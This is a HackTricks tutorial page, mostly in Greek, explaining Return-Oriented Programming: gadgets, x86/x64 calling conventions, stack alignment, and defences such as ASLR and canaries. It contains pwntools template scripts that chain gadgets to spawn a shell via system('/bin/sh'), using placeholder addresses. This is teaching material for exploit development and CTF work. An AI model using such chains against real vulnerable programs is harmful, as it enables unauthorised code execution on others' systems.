ROP - Return Oriented Programing

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Return-Oriented Programming (ROP) είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το No-Execute (NX) ή το Data Execution Prevention (DEP). Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως "gadgets". Κάθε gadget συνήθως τελειώνει με μια εντολή ret και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.

Πώς Λειτουργεί το ROP

  1. Hijacking Ροής Ελέγχου: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
  2. Σύνδεση Gadgets: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., system("/bin/sh")), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
  3. Εκτέλεση Payload: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.

Εργαλεία

Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας ROPgadget, ropper ή απευθείας από pwntools (ROP).

ROP Chain σε Παράδειγμα x86

x86 (32-bit) Κλήσεις Συμβάσεων

  • cdecl: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.
  • stdcall: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.

Εύρεση Gadgets

Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:

  • pop eax; ret: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή EAX και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το EAX.
  • pop ebx; ret: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή EBX, επιτρέποντας τον έλεγχο του EBX.
  • mov [ebx], eax; ret: Μεταφέρει την τιμή στο EAX στη διεύθυνση μνήμης που υποδεικνύεται από το EBX και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται write-what-where gadget.
  • Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης system() διαθέσιμη.

ROP Chain

Χρησιμοποιώντας pwntools, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε system('/bin/sh'), σημειώστε πώς η αλυσίδα ξεκινά με:

  1. Μια εντολή ret για σκοπούς ευθυγράμμισης (προαιρετική)
  2. Διεύθυνση της συνάρτησης system (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο Ret2lib)
  3. Θέση για τη διεύθυνση επιστροφής από το system()
  4. Διεύθυνση της συμβολοσειράς "/bin/sh" (παράμετρος για τη συνάρτηση system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Χρησιμοποιεί τη System V AMD64 ABI calling convention σε συστήματα τύπου Unix, όπου τα πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές RDI, RSI, RDX, RCX, R8, και R9. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Η calling convention Windows x64 χρησιμοποιεί RCX, RDX, R8, και R9 για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Registers: Οι 64-bit καταχωρητές περιλαμβάνουν RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, και R8 έως R15.

Finding Gadgets

Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον RDI καταχωρητή (για να περάσουμε τη συμβολοσειρά "/bin/sh" ως επιχείρημα στη system()) και στη συνέχεια να καλέσουμε τη συνάρτηση system(). Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:

  • pop rdi; ret: Αντλεί την κορυφαία τιμή του stack στον RDI και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη system().
  • ret: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια.

Και γνωρίζουμε τη διεύθυνση της συνάρτησης system().

ROP Chain

Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί pwntools για να ρυθμίσει και να εκτελέσει μια ROP chain με στόχο την εκτέλεση system('/bin/sh') σε x64:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Σε αυτό το παράδειγμα:

  • Χρησιμοποιούμε το pop rdi; ret gadget για να ορίσουμε το RDI στη διεύθυνση του "/bin/sh".
  • Πηδάμε απευθείας στη system() μετά την ρύθμιση του RDI, με τη διεύθυνση της system() στην αλυσίδα.
  • Το ret_gadget χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, κάτι που είναι πιο συνηθισμένο σε x64 για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.

Ευθυγράμμιση Στοίβας

Η x86-64 ABI διασφαλίζει ότι η στοίβα είναι ευθυγραμμισμένη στα 16 byte όταν εκτελείται μια εντολή κλήσης. LIBC, για να βελτιστοποιήσει την απόδοση, χρησιμοποιεί εντολές SSE (όπως movaps) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το RSP δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η system θα αποτύχουν σε μια ROP αλυσίδα. Για να το διορθώσετε, απλά προσθέστε ένα ret gadget πριν από την κλήση της system στην ROP αλυσίδα σας.

Κύρια διαφορά x86 vs x64

tip

Δεδομένου ότι x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική x64 παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).

Παράδειγμα ROP αλυσίδας σε ARM64

Βασικά ARM64 & Συμβάσεις Κλήσης

Ελέγξτε την παρακάτω σελίδα για αυτές τις πληροφορίες:

Introduction to ARM64v8

Προστασίες κατά του ROP

  • ASLR & PIE: Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
  • Stack Canaries: Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
  • Έλλειψη Gadgets: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.

Τεχνικές βασισμένες σε ROP

Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:

  • Ret2lib: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν system('/bin/sh').

Ret2lib

  • Ret2Syscall: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. execve, και να την εκτελέσει αυθαίρετες εντολές.

Ret2syscall

  • EBP2Ret & EBP Chaining: Το πρώτο θα εκμεταλλευτεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι επίσης απαραίτητο να ελέγχεται το EIP).

Stack Pivoting - EBP2Ret - EBP chaining

Άλλα Παραδείγματα & Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks